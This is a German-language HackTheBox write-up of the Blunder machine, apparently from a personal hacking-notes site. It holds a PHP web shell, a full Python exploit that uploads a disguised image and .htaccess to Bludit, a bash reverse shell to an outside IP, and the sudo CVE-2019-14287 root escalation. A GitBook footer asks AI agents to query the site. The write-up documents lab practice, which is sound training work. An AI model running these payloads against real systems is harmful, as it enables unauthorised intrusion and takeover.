> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Blunder HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Blunder mit Abdeckung von Bludit-CMS-Ausnutzung, Umgehung von IP-Blocking (X-Forwarded-For-Header), Directory-Traversal-Bilddatei-Upload (Arbeiten mit .htaccess), Missbrauch

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Bludit-CMS-Ausnutzung
* IP-Blockierung umgehen (X-Forwarded-For-Header)
* Directory-Traversal-Bilddatei-Upload (Spiel mit .htaccess)
* Ausnutzung der sudo-Berechtigung (CVE-2019-14287)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbe2784da0fc80d2196a69dfbb56588069e33256%2Fimage%20(2452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bca384dd03fab190cce6c5a72337a259faadff%2Fimage%20(2453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e409880d5b12742dddf49bdf85cbbe93ded4875%2Fimage%20(2454).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c7fd66b01ee64df9076c4b84219dad2375a1d4%2Fimage%20(2455).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port-Versionsscan mit Nmap:

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1e78e0c9c10af34ae802ea255a77f85b4544b95%2Fimage%20(2456).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen wir den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82c34c1fe8df01da7fbbd8e4f9838d713c4c84b%2Fimage%20(2457).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 (Blunder):

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c64b62bfaf062f0665410aedb5d20fdbe4105b4d%2Fimage%20(2458).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verzeichnisscan**

Verwenden Sie **Gobuster** um interessante Verzeichnisse zu finden:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* Ergebnis: Entdeckung des **/admin** Verzeichnis.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c25811e9b3a61359a8c49bca7ff28b2066fff21%2Fimage%20(1080).png?alt=media" alt=""><figcaption></figcaption></figure>

**CMS-Identifizierung**

Beim Aufrufen von **/admin**, wird das Bludit-CMS (Version **3.9.2**) wird erkannt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d29964ab8c90ad068a7face9326d40a23b004e5%2Fimage%20(2460).png?alt=media" alt="" width="360"><figcaption></figcaption></figure>

## **Bludit-CMS-Ausnutzung**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6135481dc16c5e9675460cc4c53c6dc51fc14331%2Fimage%20(2459).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nach Schwachstellen suchen**

Verwenden Sie `searchsploit` um bekannte Schwachstellen zu finden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb15328b6543ca5317ef31606eb98a6a28335c49%2Fimage%20(2461).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Schwachstelle erkannt: **CVE-2019-17240**

{% hint style="info" %}
Der Exploit zielt darauf ab, eine Schwachstelle in der Abwehr von Brute-Force-Angriffen auf Bludit auszunutzen, einer CMS-(Content-Management-System)-Plattform. Die als **CVE-2019-17240**identifizierte Schwachstelle ermöglicht es einem Angreifer, den Schutz gegen Brute-Force-Angriffe zu umgehen, der in Bludit-Versionen vor oder gleich 3.9.2 implementiert ist.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**Textdatei gefunden**

Führe zusätzliche Recherche mit Gobuster durch:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165b2ec70199f702d0abcaa85940d75a5d3aebf6%2Fimage%20(2462).png?alt=media" alt=""><figcaption></figcaption></figure>

Inhalt: Identifizierter Benutzer: **fergus**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1138d5f2ae0a0930c9bc69409f8f8877c2af2fcb%2F%7BB797CE15-6304-497A-9945-8B747637D2B5%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

### Brute-Force-Angriff auf Bludit

Sobald der Benutzer **fergus** gefunden wurde, verwende ein Wörterbuch, um einen Brute-Force-Angriff zu starten:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

Keine Treffer für Datei gefunden **rockyou.txt**.

### **Personalisierte Wörterbuch**

Verwenden Sie **Cewl** um ein Wörterbuch basierend auf der Website zu erstellen:

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffedc1a50a1007bd91e30eaec230875fc03ad980%2Fimage%20(2463).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Starte den Brute-Force-Angriff mit dem benutzerdefinierten Wörterbuch erneut:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-105bd582a1e9bc675d73f035c358b2bd3f9c0e79%2Fimage%20(2464).png?alt=media" alt=""><figcaption></figcaption></figure>

* Passwort gefunden: `fergus:RolandDeschain`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039a6ec9a5bafba34e169250ecbcef285ab6386b%2Fimage%20(2465).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung: Image-Datei-Upload mittels Directory Traversal:

Nach der Authentifizierung ist dieses CMS anfällig für einen **Directory Traversal** Angriffstyp, der das Hochladen bösartiger Dateien ermöglicht.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
Wir können den Speicherort der heruntergeladenen Datei angeben, indem wir den Wert von `uuid` ändern und dann ein bösartiges Bild in den temporären Ordner hochladen.
{% endhint %}

Nach der Authentifizierung kann ein neuer Exploit über `searchsploit` in `multiple/webapps/48701.txt`heruntergeladen werden, der die Schritte zur Ausnutzung dieser Schwachstelle enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e88c5773be66139875805963abfd75098364f6%2Fimage%20(1094).png?alt=media" alt=""><figcaption></figcaption></figure>

**Schritte zur Ausführung**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afdc23628a6e51eb566dfddf6b42ec5aa4c1249d%2F%7B72C127D6-9824-43EA-A632-E0DC0BF68275%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **Erstelle eine bösartige Datei** (`evil.png`) mit PHP-Code:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **Passe das Skript an die Situation an** (IP-Adresse des Opfers, Benutzername, Passwort usw.).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7cf94cad2256173a4f867997a90e8210cb7df48%2F%7BD8DDEB4F-4F4A-48B0-B349-AEB393102303%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

3. **Exploit ausführen:**

Python-Exploit-Skript:

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # ÄNDERE MICH
username = 'fergus'  # ÄNDERE MICH
password = 'RolandDeschain'  # ÄNDERE MICH

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # ERSTELLE MICH

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # ERSTELLE MICH

def login(url,username,password):
    """ Mit den bereitgestellten Admin-Zugangsdaten anmelden, den Cookie nach der Authentifizierung abgreifen """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Den CSRF-Token aus einer authentifizierten Sitzung abgreifen """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Dateien hochladen, die für die Ausführung von PHP aus bösartigen Bilddateien erforderlich sind. Payload und .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # In der anfälligen Anwendung tritt diese Zeile zuerst auf:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Obwohl es eine Prüfung der Dateierweiterung gibt, wird uns das nicht wirklich daran hindern
        # die .htaccess-Datei hochzuladen.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Uploading payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b89b7b5c624a2f89f4dca621f9ac83d29c80e804%2F%7B1AACD0C9-340D-40EC-93C0-28DA7150E17B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

4. **Greife auf die bösartige Datei zu**: Sobald das Bild heruntergeladen wurde, gehe einfach zu `/bl-content/tmp/temp/evil.png` um Befehle auszuführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2721050e3361fbc595f0297d0fb6abf47180d222%2F%7BC591FCB4-21A0-4572-8BCF-2A88FE3D06CE%7D.png?alt=media" alt="" width="552"><figcaption></figcaption></figure>

5. **Lausche mit Netcat auf Port 443**:

```bash
nc -nvlp 443
```

5. **Führe eine Reverse Shell aus**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d18819db7ce511efea5a68bd20f6d0678c1a27b%2Fimage%20(1096).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Terminal-Sitzungsverwaltung** :

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation

Die Untersuchung der Dateien offenbart eine Datei `users.php` im `Datenbanken` Ordner mit gehashten Anmeldedaten für Benutzer `fergus` und `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20f51c608cd98351ae038ae8594e00d107d86a35%2Fimage%20(1097).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Versuch, diese Hashes mit CrackStation zu knacken, scheint es, dass sie nicht erkannt werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bdb488a51dbbde9b18034db4bfcd5716ef0fd26%2Fimage%20(1098).png?alt=media" alt=""><figcaption></figcaption></figure>

Im Stammverzeichnis der Website wird jedoch eine neuere Version von Bludit gefunden, die dieselben Konfigurationsdateien enthält, aber andere Anmeldedaten:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7edf2974f55b344e180827d416afa2012e94b0f%2Fimage%20(1099).png?alt=media" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c8fe285e13c590f5a8ef840ccb8aad00d44a52%2Fimage%20(1100).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b08ce6b4fc96c94221dc86c3e73d5e719d6228a%2F%7B6D81EDBA-EE13-469E-A75C-1F071F4CF792%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78fa87a335c29b7d566e97cc423555b7b46bab4e%2Fimage%20(1101).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flagge user.txt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05249091d0e92ba1b9efc2f6abc18eeb7bbf4e4%2F%7B6122353D-C97D-44AC-8DD3-0FD4070F8DFB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Ausnutzung der sudo-Berechtigung (CVE-2019-14287):

Bei der Untersuchung der sudo-Berechtigungen entdeckten wir eine verwundbare Konfiguration in der sudoers-Datei. Mit dem `sudo -l` Befehl identifizierten wir eine Berechtigung, die es allen Benutzern außer `root` ermöglicht, sich mit dem `/bin/bash` Befehl:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aa40d7a25844ea1df6e9446ce361a29ba431776%2Fimage%20(2466).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Diese Schwachstelle betrifft alle sudo-Versionen vor Version 1.8.27.

In unserem Fall ist die sudo-Version niedriger als 1.8.27, wodurch diese Schwachstelle ausnutzbar ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b072b730fba3dec03091f9160982083a2b0701f%2F%7BBDCA0F7E-840F-4753-92E8-F314A655AEAF%7D.png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

Um diese Schwachstelle auszunutzen, führe einfach den folgenden Befehl aus:

```bash
sudo -u#-1 /bin/bash
```

Dieser Befehl ermöglicht es dir, eine Shell als Benutzer `-1`, was dem Benutzer entspricht `root`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-147e70291ca26c6683abc988485b587994a3669c%2Fimage%20(2467).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a946d7b0009c4b83e649a87bad81385752b39256%2Fimage%20(2468).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b5cbfb36a83f2b36c15a3d2e357cd1d8badfd98%2F%7BE30EC42C-0169-47C5-B755-64D22504FBB9%7D.png?alt=media" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
